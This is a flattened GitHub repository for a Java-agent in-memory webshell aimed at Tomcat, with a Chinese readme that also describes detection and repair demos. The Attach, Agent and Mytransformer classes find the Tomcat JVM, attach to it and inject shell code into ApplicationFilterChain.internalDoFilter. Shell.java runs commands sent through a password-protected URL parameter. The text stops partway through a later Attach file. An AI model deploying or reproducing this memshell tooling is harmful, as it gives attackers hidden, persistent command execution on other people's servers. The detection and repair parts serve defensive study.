├── .idea ├── .gitignore ├── compiler.xml ├── jarRepositories.xml ├── misc.xml ├── runConfigurations.xml └── uiDesigner.xml ├── exampl ├── eacmple2 │ ├── JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar │ ├── JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar │ └── readme.txt ├── eacmple3 │ ├── JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar │ ├── JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar │ └── readme.txt ├── example1 │ ├── 1 │ │ ├── JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar │ │ ├── JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar │ │ └── JavaAgentMemshell_Main-1.0-SNAPSHOT-jar-with-dependencies.jar │ ├── JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar.BAK │ ├── JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jarxxx │ ├── JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jarxxx │ ├── JavaAgentMemshell_MAIN-1.0-SNAPSHOT-jar-with-dependencies.jar │ └── readme.txt ├── example4 │ ├── JavaAgentMemshell_Recover_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar │ ├── JavaAgentMemshell_Recover_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar │ └── readme.txt └── example5 │ ├── JavaAgentMemshell_Recoverclear_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar │ ├── JavaAgentMemshell_Recoverclear_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar │ └── readme.txt ├── pom.xml ├── readme.assets ├── image-20221207155410653.png ├── image-20221207161206260.png └── image-20221207161338697.png ├── readme.md └── src └── main ├── java ├── forTomcat │ ├── Agent.java │ ├── Attach.java │ ├── Mytransformer.java │ ├── Shell.java │ └── Test.java ├── forTomcat1 │ ├── Agent.java │ └── Attach.java ├── forcleanTomcat │ ├── Agent.java │ ├── Attach.java │ └── Mytransformer.java ├── forcleancleanTomcat │ ├── Agent.java │ ├── Attach.java │ └── Mytransformer.java └── test │ ├── PeoplesTransformer.java │ ├── TestAgent.java │ ├── TestAttach.java │ ├── Testpeople.java │ └── Testsay.java └── resources └── source.txt /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /exampl/eacmple2/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/eacmple2/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/eacmple2/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/eacmple2/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/eacmple2/readme.txt: -------------------------------------------------------------------------------- 1 | retransformerClass 内存马测试 2 | -------------------------------------------------------------------------------- /exampl/eacmple3/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/eacmple3/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/eacmple3/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/eacmple3/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/eacmple3/readme.txt: -------------------------------------------------------------------------------- 1 | redefineClasses 内存马测试 2 | -------------------------------------------------------------------------------- /exampl/example1/1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example1/1/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/1/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example1/1/JavaAgentMemshell_Main-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/1/JavaAgentMemshell_Main-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar.BAK: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar.BAK -------------------------------------------------------------------------------- /exampl/example1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jarxxx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jarxxx -------------------------------------------------------------------------------- /exampl/example1/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jarxxx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/JavaAgentMemshell_Attach-1.0-SNAPSHOT-jar-with-dependencies.jarxxx -------------------------------------------------------------------------------- /exampl/example1/JavaAgentMemshell_MAIN-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example1/JavaAgentMemshell_MAIN-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example1/readme.txt: -------------------------------------------------------------------------------- 1 | agentmain测试,peoplesay -------------------------------------------------------------------------------- /exampl/example4/JavaAgentMemshell_Recover_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example4/JavaAgentMemshell_Recover_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example4/JavaAgentMemshell_Recover_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example4/JavaAgentMemshell_Recover_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example4/readme.txt: -------------------------------------------------------------------------------- 1 | 利用retranformerClass dump ApplicationFilterChain bytes到Tomacat下的bin目录 -------------------------------------------------------------------------------- /exampl/example5/JavaAgentMemshell_Recoverclear_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example5/JavaAgentMemshell_Recoverclear_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example5/JavaAgentMemshell_Recoverclear_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/exampl/example5/JavaAgentMemshell_Recoverclear_Attach-1.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /exampl/example5/readme.txt: -------------------------------------------------------------------------------- 1 | 修复retransformerclasses实现的内存马,使用example4,我们可以dump出来 对应的类,通过对对应类的检查,发现其是恶意的,这里我们使用retransformerclasses来实现对这个类的修复 -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | JavaAgentMemshell_Main 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | io.earcam.wrapped 15 | com.sun.tools.attach 16 | 1.8.0_jdk8u172-b11 17 | 18 | 19 | org.javassist 20 | javassist 21 | 3.22.0-GA 22 | 23 | 24 | 25 | 26 | 27 | 28 | org.apache.maven.plugins 29 | maven-assembly-plugin 30 | 2.4.1 31 | 32 | 33 | 34 | jar-with-dependencies 35 | 36 | 37 | 38 | 39 | true 40 | test.Testsay 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | make-assembly 55 | 56 | package 57 | 58 | single 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 8 70 | 8 71 | 72 | 73 | -------------------------------------------------------------------------------- /readme.assets/image-20221207155410653.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/readme.assets/image-20221207155410653.png -------------------------------------------------------------------------------- /readme.assets/image-20221207161206260.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/readme.assets/image-20221207161206260.png -------------------------------------------------------------------------------- /readme.assets/image-20221207161338697.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/minhangxiaohui/JavaAgentMemshell/5d0473c580bbf3eb4424dd45c94508de46eb0c73/readme.assets/image-20221207161338697.png -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Javaagent内存马demo,以及检测和修复demo 2 | 3 | 5个case及源码: 4 | 5 | ![image-20221207155410653](readme.assets/image-20221207155410653.png) 6 | 7 | example目录下的5个example分别对应的5个case: 8 | 9 | ![image-20221207161338697](readme.assets/image-20221207161338697.png) 10 | 11 | ## Case1 12 | 13 | 一个Javaajent agentmain使用的demo,运行时修改代码逻辑 14 | 15 | ![image-20221207161206260](readme.assets/image-20221207161206260.png) 16 | 17 | ## Case2 18 | 19 | 一个针对Tomcat(笔者测试使用的tomcat版本是8.5.45,下面都是这版本)里面的org.apache.catalina.core.ApplicationFilterChain类internalDoFilter方法字节码javaagent retransformClasses的内存马实现demo 20 | 21 | ## Case3 22 | 23 | 一个针对Tomcat里面的org.apache.catalina.core.ApplicationFilterChain类internalDoFilter方法字节码javaagent redefineClasses的内存马实现demo 24 | 25 | ## Case4 检测 26 | 27 | 一个能**检测**Tomcat里面的org.apache.catalina.core.ApplicationFilterChain类internalDoFilter方法字节码被javaagent retransformClasses修改造成内存马的demo。 28 | 29 | 运行之后,将该类被修改后的字节码写到tomcat服务bin目录下生成classfilebuffer.class 30 | 31 | 通过反编译这个class,检测其是否被注入了webshell逻辑。 32 | 33 | 除此之外这个demo,其实也可以修复ApplicationFilterChain类被javaagent redefineClasses修改造成内存马。(误打误撞,但是不能检测) 34 | 35 | ## Case5 修复 36 | 37 | 一个可以**修复**Tomcat里面的org.apache.catalina.core.ApplicationFilterChain类internalDoFilter方法字节码被javaagent retransformClasses修改造成内存马的demo。 38 | 39 | 40 | 41 | ## 其他: 42 | 43 | 对于javaagent里面redefineClasses实现的内存马,检测的思路可以从jdk里面的sa-jdi.jar来下手,通过这个工具可以获取见到被redefineClasses重定义的类的字节码。修复的话没啥好说的,和retransformClasses一样,直接通过javassist技术获取到磁盘上原始的字节码,返回即可,就实现了修复。 -------------------------------------------------------------------------------- /src/main/java/forTomcat/Agent.java: -------------------------------------------------------------------------------- 1 | package forTomcat; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | import java.lang.instrument.UnmodifiableClassException; 5 | 6 | public class Agent { 7 | public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { 8 | Mytransformer mytransformer = new Mytransformer(); 9 | inst.addTransformer(mytransformer,true); 10 | Class[] classes = inst.getAllLoadedClasses(); 11 | for (Class cl:classes 12 | ) { 13 | if (cl.getName().startsWith("org.apache.catalina.core.ApplicationFilterChain")){ 14 | inst.retransformClasses(cl); 15 | } 16 | 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/forTomcat/Attach.java: -------------------------------------------------------------------------------- 1 | package forTomcat; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | 5 | import java.util.Scanner; 6 | 7 | public class Attach { 8 | public static void main(String[] args) throws Exception{ 9 | 10 | String pid = getpid(); 11 | if (!pid.equals("NOT Found")){ 12 | System.out.println("find a Tomcat vm:"+pid); 13 | String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 14 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 15 | // System.out.println("path:"+currentPath); 16 | String agentFile = currentPath.substring(1,currentPath.length())+"JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\"); 17 | System.out.println("agent file path :"+agentFile); 18 | VirtualMachine vm = VirtualMachine.attach(pid); 19 | vm.loadAgent(agentFile); 20 | vm.detach(); 21 | System.out.println("agent injected"); 22 | } 23 | } 24 | 25 | private static String getpid() throws Exception{ 26 | Scanner scanner = new Scanner(Runtime.getRuntime().exec("jps").getInputStream()); 27 | while(scanner.hasNextLine()) 28 | { 29 | String a = scanner.nextLine(); 30 | if (a.contains("Bootstrap")) 31 | { 32 | System.out.println(a); 33 | return a.substring(0,a.length()-10); 34 | } 35 | } 36 | return "NOT Found"; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/forTomcat/Mytransformer.java: -------------------------------------------------------------------------------- 1 | package forTomcat; 2 | 3 | import javassist.*; 4 | 5 | import java.io.BufferedReader; 6 | import java.io.FileInputStream; 7 | import java.io.InputStream; 8 | import java.io.InputStreamReader; 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class Mytransformer implements ClassFileTransformer { 13 | 14 | @Override 15 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, 16 | byte[] classfileBuffer) { 17 | if (!className.equals("org/apache/catalina/core/ApplicationFilterChain")){ 18 | return classfileBuffer; 19 | } 20 | 21 | try { 22 | ClassPool cp =ClassPool.getDefault(); 23 | ClassClassPath ccp = new ClassClassPath(className.getClass()); 24 | cp.insertClassPath(ccp); 25 | CtClass ctClass =cp.get("org.apache.catalina.core.ApplicationFilterChain"); 26 | CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); 27 | if (!getshellstring().equals("no get shell")) { 28 | ctMethod.insertBefore(getshellstring()); 29 | byte[] bytes = ctClass.toBytecode(); 30 | ctClass.detach(); 31 | System.out.println("succeed in changing classbytes"); 32 | return bytes; 33 | } 34 | return classfileBuffer; 35 | }catch (Exception e){ 36 | System.out.println("failed at get classbytes "+e); 37 | return classfileBuffer; 38 | } 39 | } 40 | 41 | public static String getshellstring() { 42 | StringBuilder source=new StringBuilder(); 43 | InputStream is = Mytransformer.class.getClassLoader().getResourceAsStream("source.txt"); 44 | try { 45 | 46 | try(InputStreamReader isr = new InputStreamReader(is); 47 | BufferedReader br = new BufferedReader(isr) 48 | ) { 49 | String line = null; 50 | while ((line = br.readLine()) != null) { 51 | source.append(line); 52 | } 53 | return new String(source); 54 | } 55 | 56 | }catch (Exception e){ 57 | 58 | System.out.println(e); 59 | return "no get shell"; 60 | } 61 | 62 | } 63 | 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/forTomcat/Shell.java: -------------------------------------------------------------------------------- 1 | package forTomcat; 2 | 3 | import java.io.DataInputStream; 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.util.Scanner; 7 | 8 | public class Shell { 9 | 10 | public static String execute(String cmd) throws Exception { 11 | String s =""; 12 | if (cmd != null && cmd.length() > 0) { 13 | Process pc =Runtime.getRuntime().exec(cmd); 14 | Scanner sc = new Scanner(pc.getInputStream(),"utf-8").useDelimiter("\\a"); 15 | s = sc.hasNext()?sc.next():""; 16 | } 17 | return s; 18 | } 19 | 20 | public static String help() { 21 | return "anyurl?passwod=ga0weI&cmd=whoami //go with cmd \n"; 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /src/main/java/forTomcat/Test.java: -------------------------------------------------------------------------------- 1 | package forTomcat; 2 | 3 | import java.io.*; 4 | import java.util.Scanner; 5 | 6 | public class Test { 7 | public static void main(String[] args) throws Exception { 8 | // try { 9 | // System.out.println(getshellstring()); 10 | // System.out.println(readSource()); 11 | // } catch (Exception e) { 12 | // e.printStackTrace(); 13 | // } 14 | Process pc =Runtime.getRuntime().exec("ipconfig"); 15 | /* 16 | 字符流: 17 | */ 18 | Scanner sc = new Scanner(pc.getInputStream(),"utf-8").useDelimiter("\\a"); 19 | String s = sc.hasNext()?sc.next():""; 20 | System.out.println(s); 21 | 22 | System.out.println("——————————————————————————"); 23 | /* 24 | 字节流 25 | */ 26 | BufferedInputStream bufferedInputStream = new BufferedInputStream(pc.getInputStream()); 27 | int b; 28 | byte [] bytes = new byte[1024]; 29 | StringBuilder sb = new StringBuilder(); 30 | while ((b=bufferedInputStream.read(bytes))!=-1){ 31 | sb.append(new String(bytes,0,b)); 32 | } 33 | System.out.println(sb); 34 | 35 | String result=""; 36 | Process p = Runtime.getRuntime().exec("ipconfig"); 37 | InputStream in = p.getInputStream(); 38 | DataInputStream dis = new DataInputStream(in); 39 | String disr = dis.readLine(); 40 | while (disr != null) { 41 | result = result + disr + "\n"; 42 | disr = dis.readLine(); 43 | } 44 | 45 | 46 | } 47 | 48 | public static String getshellstring() throws Exception{ 49 | try( 50 | FileInputStream fileInputStream = new FileInputStream("source.txt") 51 | ){ 52 | int b ; 53 | StringBuilder sb = new StringBuilder(); 54 | while((b=fileInputStream.read())!=-1){ 55 | sb.append(b); 56 | } 57 | return new String(sb); 58 | } 59 | } 60 | public static String readSource() { 61 | StringBuilder source=new StringBuilder(); 62 | InputStream is = Mytransformer.class.getClassLoader().getResourceAsStream("source.txt"); 63 | InputStreamReader isr = new InputStreamReader(is); 64 | String line=null; 65 | try { 66 | BufferedReader br = new BufferedReader(isr); 67 | while((line=br.readLine()) != null) { 68 | source.append(line); 69 | } 70 | } catch (Exception e) { 71 | e.printStackTrace(); 72 | } 73 | return new String(source); 74 | } 75 | 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/forTomcat1/Agent.java: -------------------------------------------------------------------------------- 1 | package forTomcat1; 2 | 3 | import forTomcat1.Agent; 4 | import javassist.*; 5 | 6 | import java.io.*; 7 | import java.lang.instrument.ClassDefinition; 8 | import java.lang.instrument.Instrumentation; 9 | 10 | public class Agent { 11 | public static void agentmain(String angentArgs, Instrumentation inst) { 12 | Class cLasses[] = inst.getAllLoadedClasses(); 13 | for (Class c:cLasses 14 | ) { 15 | if (c.getName().startsWith("org.apache.catalina.core.ApplicationFilterChain")){ 16 | System.out.println("find a classs:"+c.getName()); 17 | 18 | try { 19 | ClassPool cp =ClassPool.getDefault(); 20 | ClassClassPath ccp = new ClassClassPath(c); 21 | cp.insertClassPath(ccp); 22 | CtClass ctClass =cp.get("org.apache.catalina.core.ApplicationFilterChain"); 23 | CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); 24 | if (!getshellstring().equals("no get shell")) { 25 | ctMethod.insertBefore(getshellstring()); 26 | ctClass.detach(); 27 | byte[] bytes = ctClass.toBytecode(); 28 | ClassDefinition definition = new ClassDefinition(c, bytes); 29 | inst.redefineClasses(new ClassDefinition[]{definition}); 30 | System.out.println("memshell injected"); 31 | } 32 | else { 33 | System.out.println("not get shellcode"); 34 | } 35 | 36 | }catch (Exception e){ 37 | System.out.println("fiaed at getclasssbytes"+e); 38 | } 39 | } 40 | // else { 41 | // System.out.println("not find org/apache/catalina/core/ApplicationFilterChain"); 42 | // } 43 | } 44 | } 45 | public static String getshellstring() { 46 | StringBuilder source=new StringBuilder(); 47 | InputStream is = Agent.class.getClassLoader().getResourceAsStream("source.txt"); 48 | try { 49 | 50 | try(InputStreamReader isr = new InputStreamReader(is); 51 | BufferedReader br = new BufferedReader(isr) 52 | ) { 53 | String line = null; 54 | while ((line = br.readLine()) != null) { 55 | source.append(line); 56 | } 57 | return new String(source); 58 | } 59 | 60 | }catch (Exception e){ 61 | 62 | System.out.println(e); 63 | return "no get shell"; 64 | } 65 | 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/forTomcat1/Attach.java: -------------------------------------------------------------------------------- 1 | package forTomcat1; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | 5 | import java.util.Scanner; 6 | 7 | public class Attach { 8 | public static void main(String[] args) throws Exception{ 9 | 10 | String pid = getpid(); 11 | if (!pid.equals("NOT Found")){ 12 | System.out.println("find a Tomcat vm:"+pid); 13 | String currentPath = forTomcat.Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 14 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 15 | // System.out.println("path:"+currentPath); 16 | String agentFile = currentPath.substring(1,currentPath.length())+"JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\"); 17 | System.out.println("agent file path :"+agentFile); 18 | VirtualMachine vm = VirtualMachine.attach(pid); 19 | vm.loadAgent(agentFile); 20 | vm.detach(); 21 | System.out.println("agent injected"); 22 | } 23 | } 24 | 25 | private static String getpid() throws Exception{ 26 | Scanner scanner = new Scanner(Runtime.getRuntime().exec("jps").getInputStream()); 27 | while(scanner.hasNextLine()) 28 | { 29 | String a = scanner.nextLine(); 30 | if (a.contains("Bootstrap")) 31 | { 32 | System.out.println(a); 33 | return a.substring(0,a.length()-10); 34 | } 35 | } 36 | return "NOT Found"; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/forcleanTomcat/Agent.java: -------------------------------------------------------------------------------- 1 | package forcleanTomcat; 2 | import java.lang.instrument.Instrumentation; 3 | import java.lang.instrument.UnmodifiableClassException; 4 | 5 | public class Agent { 6 | public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { 7 | inst.addTransformer(new Mytransformer(),true); 8 | 9 | Class [] cl = inst.getAllLoadedClasses(); 10 | for (Class c:cl 11 | ) { 12 | // if (c.getName().indexOf("org.apache.catalina.core.ApplicationFilterChain")!=-1){ 13 | if (c.getName().startsWith("org.apache.catalina.core.ApplicationFilterChain")){ 14 | inst.retransformClasses(c); 15 | } 16 | 17 | } 18 | 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/forcleanTomcat/Attach.java: -------------------------------------------------------------------------------- 1 | package forcleanTomcat; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | 5 | import java.util.Scanner; 6 | 7 | public class Attach { 8 | public static void main(String[] args) throws Exception{ 9 | 10 | String pid = getpid(); 11 | if (!pid.equals("NOT Found")){ 12 | System.out.println("find a Tomcat vm:"+pid); 13 | String currentPath = forTomcat.Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 14 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 15 | // System.out.println("path:"+currentPath); 16 | String agentFile = currentPath.substring(1,currentPath.length())+"JavaAgentMemshell_Recover_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\"); 17 | System.out.println("Recover_Agent file path :"+agentFile); 18 | VirtualMachine vm = VirtualMachine.attach(pid); 19 | vm.loadAgent(agentFile); 20 | vm.detach(); 21 | System.out.println("Recover_Agent injected"); 22 | } 23 | } 24 | 25 | private static String getpid() throws Exception{ 26 | Scanner scanner = new Scanner(Runtime.getRuntime().exec("jps").getInputStream()); 27 | while(scanner.hasNextLine()) 28 | { 29 | String a = scanner.nextLine(); 30 | if (a.contains("Bootstrap")) 31 | { 32 | System.out.println(a); 33 | return a.substring(0,a.length()-10); 34 | } 35 | } 36 | return "NOT Found"; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/forcleanTomcat/Mytransformer.java: -------------------------------------------------------------------------------- 1 | package forcleanTomcat; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | 8 | import java.io.FileOutputStream; 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class Mytransformer implements ClassFileTransformer { 13 | @Override 14 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, 15 | ProtectionDomain protectionDomain, byte[] classfileBuffer) { 16 | if(!className.equals("org/apache/catalina/core/ApplicationFilterChain")) 17 | { 18 | return classfileBuffer; 19 | } 20 | try{ 21 | int flag = 0; 22 | FileOutputStream fos = new FileOutputStream("classfilebuffer.class"); 23 | fos.write(classfileBuffer); 24 | return classfileBuffer; 25 | 26 | }catch (Exception e){ 27 | System.out.println("faied at get classbytes"+e); 28 | } 29 | return classfileBuffer; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/forcleancleanTomcat/Agent.java: -------------------------------------------------------------------------------- 1 | package forcleancleanTomcat; 2 | 3 | import forcleancleanTomcat.Mytransformer; 4 | 5 | import java.lang.instrument.Instrumentation; 6 | import java.lang.instrument.UnmodifiableClassException; 7 | 8 | public class Agent { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { 9 | inst.addTransformer(new Mytransformer(),true); 10 | 11 | Class [] cl = inst.getAllLoadedClasses(); 12 | for (Class c:cl 13 | ) { 14 | // if (c.getName().indexOf("org.apache.catalina.core.ApplicationFilterChain")!=-1){ 15 | if (c.getName().startsWith("org.apache.catalina.core.ApplicationFilterChain")){ 16 | inst.retransformClasses(c); 17 | } 18 | 19 | } 20 | 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/forcleancleanTomcat/Attach.java: -------------------------------------------------------------------------------- 1 | package forcleancleanTomcat; 2 | 3 | 4 | import com.sun.tools.attach.VirtualMachine; 5 | 6 | import java.util.Scanner; 7 | 8 | public class Attach { 9 | public static void main(String[] args) throws Exception{ 10 | 11 | String pid = getpid(); 12 | if (!pid.equals("NOT Found")){ 13 | System.out.println("find a Tomcat vm:"+pid); 14 | String currentPath = forTomcat.Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 15 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 16 | // System.out.println("path:"+currentPath); 17 | String agentFile = currentPath.substring(1,currentPath.length())+"JavaAgentMemshell_Recoverclear_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/","\\"); 18 | System.out.println("Recover_Agent file path :"+agentFile); 19 | VirtualMachine vm = VirtualMachine.attach(pid); 20 